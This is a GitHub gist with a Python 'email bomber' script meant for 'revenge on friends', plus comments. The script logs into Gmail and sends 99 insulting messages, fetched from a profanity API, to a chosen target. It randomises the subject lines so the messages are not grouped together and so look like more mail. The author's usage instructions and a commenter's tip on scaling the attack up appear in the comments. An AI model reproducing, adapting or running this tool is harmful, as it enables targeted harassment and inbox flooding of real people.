Skip to content

Instantly share code, notes, and snippets.

@rkrishnasanka
Last active August 29, 2015 13:57
Show Gist options
  • Save rkrishnasanka/9636364 to your computer and use it in GitHub Desktop.
Save rkrishnasanka/9636364 to your computer and use it in GitHub Desktop.
Email Bomber Script for taking revenge on friends
import urllib
import smtplib
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from random import randint
def sendemail(session,me,you,subject,html):
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = me
msg['To'] = you
# Create the body of the message (a plain-text and an HTML version).
text = "Muhahahahahhahahaha !!!!!!!"
# Record the MIME types of both parts - text/plain and text/html.
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part1)
msg.attach(part2)
# sendmail function takes 3 arguments: sender's address, recipient's address
# and message to send - here it is sent as one string.
session.sendmail(me, you, msg.as_string())
def login(me,password):
# Send the message via local SMTP server.
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
session = smtplib.SMTP(SMTP_SERVER,SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(me,password)
return session
def logout(session):
session.quit()
# me == my email address
# you == recipient's email address
me_name = ""
enemy_name = ""
me_email = ""
enemy_email = ""
password = ""
sub_options = ["Revenge :P","Revenge :}","Revenge :O","Revenge :3","Revenge :D"]
options = ["off","you","donut","shakespeare","linus","king"]
session = login(me_email,password)
for x in range(99):
print "Getting the message"
try:
response = urllib.urlopen('http://foaas.herokuapp.com/'+options[randint(0,5)]+'/'+enemy_name+'/'+me_name)
html = response.read()
subject = sub_options[randint(0,4)] + " " + str(randint(0,1000000000))
print "Sending email"
sendemail(session,me_email,enemy_email,subject,html)
time.sleep(randint(10,15))
except:
print 'there was an error'
logout(session)
@mohitathwani
Copy link

The problem with this is, all mails with the same subject were grouped into a conversation.

So I hade 4 conversations showing up in my inbox. 4 swipes on screen and my inbox was cleared ....

@rkrishnasanka
Copy link
Author

@mohit, fixed it :D

@rkrishnasanka
Copy link
Author

How to use the script

Fill the details within the quotes for these variables with a text editor: (make sure that the names doesnt dont have spaces or special characters)

me_name = "your name"
enemy_name = "target's name"
me_email = "your email"
enemy_email = "target's email"
password = "your password" 

on the terminal goto the directory where the script is and then type the following command:

python revenge.py

@ganesshkumar
Copy link

For attacks of higher magnitude (where number of emails is much higher) you can use xrange instead of range in the for loop.

@rkrishnasanka
Copy link
Author

@ganeshkumar I don't think any of us will use the xrange levels , our mail addresses would get blocked :P

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment